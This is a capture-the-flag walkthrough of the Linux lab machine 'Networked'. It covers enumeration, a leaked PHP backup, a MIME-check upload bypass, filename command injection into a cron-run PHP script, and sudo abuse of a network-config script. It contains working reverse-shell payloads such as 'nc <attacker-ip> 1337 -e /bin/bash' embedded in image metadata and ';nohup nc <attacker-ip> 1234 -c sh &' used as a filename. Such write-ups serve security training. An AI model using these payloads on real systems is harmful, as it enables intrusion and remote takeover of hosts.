Networked
Always stay close to what keeps you feeling alive!
Networked is an easy difficulty machine running Linux. It tests your knowledge in PHP and basic privilege escalation. Without some knowledge of PHP you may find this machine a bit challenging.
Be sure to checkout the Basic Setup section before you get started.
Enumeration
Like always, enumeration is our first port of call. Let’s take a look at the machine and see what we are dealing with.
Portscan
First let’s use my “advanced” portscan script to find open ports:
portscan networked.htb
Grabbing ports...
Ports grabbed!
Scanning...
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-02 13:39 GMT
Nmap scan report for networked.htb (10.10.10.146)
Host is up (0.36s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesnt have a title (text/html; charset=UTF-8).
443/tcp closed https
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.23 seconds
As we can see from our port scan we have ssh
open on port 22
and http
open on port 80
. Since at this point we have no username and password we will leave ssh
and go for http
. Navigating to the site we are greeted with with following page:
Nothing to look at. No links to have a navigate around. Taking a look at the source we see a comment: <!-- upload and gallery not yet linked -->
. Seems like there are some directories for us to find.
Directories
We will use gobuster
to bruteforce any interesting directories that may be of use to us:
gobuster dir -u http://networked.htb -t 30 -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://networked.htb
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/01/07 04:33:45 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
/uploads (Status: 301)
===============================================================
2020/01/07 04:34:40 Finished
===============================================================
Here we go! Something for us to work with. Straight off the mark we see two folders of interest. A backup
folder which with any luck will have some backups with juicy info for us to bite our teeth in to and an uploads
folder. Which means that there is most likely some way to upload files to the machine.
Let’s take a look and see what we can find.
Navigating to http://networked.htb/backup/
gives us an index listing:
Nice! We have a backup it seems.
Information Leak
Lets download and extract it’s contents to see what we have:
wget http://networked.htb/backup/backup.tar && tar -xvf backup.tar
http://networked.htb/backup/backup.tar
Resolving networked.htb (networked.htb)... 10.10.10.146
Connecting to networked.htb (networked.htb)|10.10.10.146|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: ‘backup.tar’
backup.tar 100%[===============================>] 10.00K --.-KB/s in 0s
2019-11-15 09:12:34 (72.0 MB/s) - ‘backup.tar’ saved [10240/10240]
index.php
lib.php
photos.php
upload.php
So here we have four files. We can see these files in the root directory of the site.
We have the index.php
that we saw earlier.
A file called library.php
which is blank (most likely due to there being no php output or html).
Another file called photos.php
that is a photo gallery where the images seemed to be named using an IP address:
Then theres the upload.php
file which confirms that we will most likely be able to upload a file and hopefully a payload:
Since we have all the files let’s investigate them further to see what types of files we can upload and how the upload form functions.
index.php
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>
Ok so literally just some html
nothing exciting. Let’s move along.
lib.php
<?php
function getnameCheck($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
#echo "name $name - ext $ext\n";
return array($name,$ext);
}
function getnameUpload($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
return array($name,$ext);
}
function check_ip($prefix,$filename) {
//echo "prefix: $prefix - fname: $filename<br>\n";
$ret = true;
if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
$ret = false;
$msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
} else {
$msg = $filename;
}
return array($ret,$msg);
}
function file_mime_type($file) {
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
if (function_exists('finfo_file')) {
$finfo = finfo_open(FILEINFO_MIME);
if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
{
$mime = @finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
$file_type = $matches[1];
return $file_type;
}
}
}
if (function_exists('mime_content_type'))
{
$file_type = @mime_content_type($file['tmp_name']);
if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
{
return $file_type;
}
}
return $file['type'];
}
function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}
function displayform() {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
<input type="file" name="myFile">
<br>
<input type="submit" name="submit" value="go!">
</form>
<?php
exit();
}
?>
This file is a lot more interesting. This is obviously a “library” of functions, hence the name. Let’s checkout how they are being used in upload.php
.
upload.php
<?php
require '/var/www/html/lib.php';
define("UPLOAD_DIR", "/var/www/html/uploads/");
if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
if ($myFile["error"] !== UPLOAD_ERR_OK) {
echo "<p>An error occurred.</p>";
displayform();
exit;
}
//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";
// set proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);
}
} else {
displayform();
}
?>
Let’s try and decipher what’s going on.
I have added three parts together for clarity below.
First off we see that there is an if()
statement to check the filetype using the function check_file_type()
. Essentially the if()
statement is saying “If the check_file_type()
function returns false
display the upload form with an error message. Otherwise if the check_file_type()
function returns true
move on to the next statement”:
// if() statement in upload.php
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
// check_file_type() function in lib.php
function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}
// file_mime_type() function in lib.php
function file_mime_type($file) {
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
if (function_exists('finfo_file')) {
$finfo = finfo_open(FILEINFO_MIME);
if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
{
$mime = @finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
$file_type = $matches[1];
return $file_type;
}
}
}
if (function_exists('mime_content_type'))
{
$file_type = @mime_content_type($file['tmp_name']);
if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
{
return $file_type;
}
}
return $file['type'];
}
Taking a look at the check_file_type()
function in lib.php
we see that the output of the file_mime_type()
function is placed in to the variable $mime_type
. The file_mime_type()
function is quite self explanatory as it is getting the files mime type.
However, the important takeaway here is that it is actually “processing” the image to get the mime type so simply changing the file extension won’t work here.
The $mime_type
variable is then checked to see if it contains the mime type image/
. If it does then the output of the check_file_type()
function will be true
otherwise it will be false
.
Foothold
From this information we can gather that our image needs to contain our payload.
Download one of the .png
images from http://networked.htb/photos.php
and save as payload.png
. We will then use exiftool
to inject PHP code in to the image metadata input of Document Name
like so:
exiftool -DocumentName="<?php shell_exec('nc <attacker-ip> 1337 -e /bin/bash'); __halt_compiler();?></h1>" payload.png
Be sure to change <attacker-ip>
.
Then we will rename our file adding .php
like so: payload.php.png
.
We then setup our Netcat listener on our attacker machine:
nc -lvp 1337
Now let’s try uploading the file to the server and executing it by navigating to http://networked.htb/photos.php
.
Back at our listener we should see a connection:
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:41616.
id
uid=48(apache) gid=48(apache) groups=48(apache)
From here we can upgrade our shell if we wish.
As we can see we are the user apache
and if we use the command pwd
our current working directory is /var/www/html/uploads
. If we go to our home
folder with the command cd ~
we see that our home directory path is /usr/share/httpd
. If we check this location with ls -l
we see that there is no user.txt
file.
Having a look at the /home
directory we see the user guly
:
ls -l /home
drwxr-xr-x. 2 guly guly 159 Jul 9 2019 guly
We will most likely need to gain access to this account.
Information Leak
Taking note of the guly
directory permissions we see that we should be able to view the contents.
Let’s take a peek:
ls -l /home/guly/
total 12
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
Here we see three files one of which is our user.txt
ready to be taken.
check_attack.php
Let’s have a look at the contents of check_attack.php
:
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
Simplistically the script is creating a list of filenames from the uploads
directory and seeing if the names have the IP address like we saw in the photo gallery earlier. If this check fails the script deletes the file.
Taking a look at this check we see something interesting:
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
The script is using the PHP exec()
function to delete the file using the rm
command:
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
The interesting thing about this is the $value
variable which would be the filename.
Thinking about how the Linux commandline works we should be able to attach our own command like so: ;<command>
crontab.guly
Taking a quick look at crontab.guly
we see that check_attack.php
is run at every 3rd minute:
*/3 * * * * php /home/guly/check_attack.php
User
Now that we have found our exploit let’s try it out.
Once again let’s setup our Netcat listener:
nc -lvp 1234
And then create our file/command ensuring we are at the path /var/www/html/uploads
:
touch ";nohup nc <attacker-ip> 1234 -c sh &"
After a few minutes we should receive a connection:
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:39574.
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
cat user.txt
526cfc2305....12c57d71c5
We have our user.txt
flag! Once again we can upgrade our shell if we wish. Now on to root
.
Root
First things first. Let’s check to see if we have any sudo
rights:
sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
Ok so we can use sudo
with the script changename.sh
.
Let’s check it out:
cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
From taking a look at this script we see that when it is run we are asked for some inputs. The inputs we enter are then added to /etc/sysconfig/network-scripts/ifcfg-guly
.
Let’s run the script to confirm this is the case entering in random inputs:
sudo /usr/local/sbin/changename.sh
interface NAME:
s
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
b
interface BOOTPROTO:
e
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
And then check to see if our inputs are in ifcfg-guly
:
cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=s
PROXY_METHOD=a
BROWSER_ONLY=b
BOOTPROTO=e
So far so good. Let’s check our operating system so we can search for some vulnerabilities relating to ifcfg
:
cat /etc/*-release
CentOS Linux release 7.6.1810 (Core)
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"
CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"
CentOS Linux release 7.6.1810 (Core)
CentOS Linux release 7.6.1810 (Core)
So networked
is running CentOS 7. A quick search term of centos 7 ifcfg vuln
reveals a potential exploit.
Let’s run our script again this time inputting the command we want to run in the NAME=
input:
sudo /usr/local/sbin/changename.sh
interface NAME:
s /bin/bash
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
b
interface BOOTPROTO:
e
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
[root@networked network-scripts]# cat /root/root.txt
0a8ecda83f....ac3d0dcb82
And just like that we have the root.txt
flag. Congrats on another box rooted!
Conclusion
The initial foothold shows that there can be major issues with allowing users to upload files via PHP scripts. Secure coding practices should always be at the forefront of the development process. Although these issues can be avoided they are still seen in the real world. As for the privilege escalation? It could have easily been avoided by ensuring sudo
requires a password.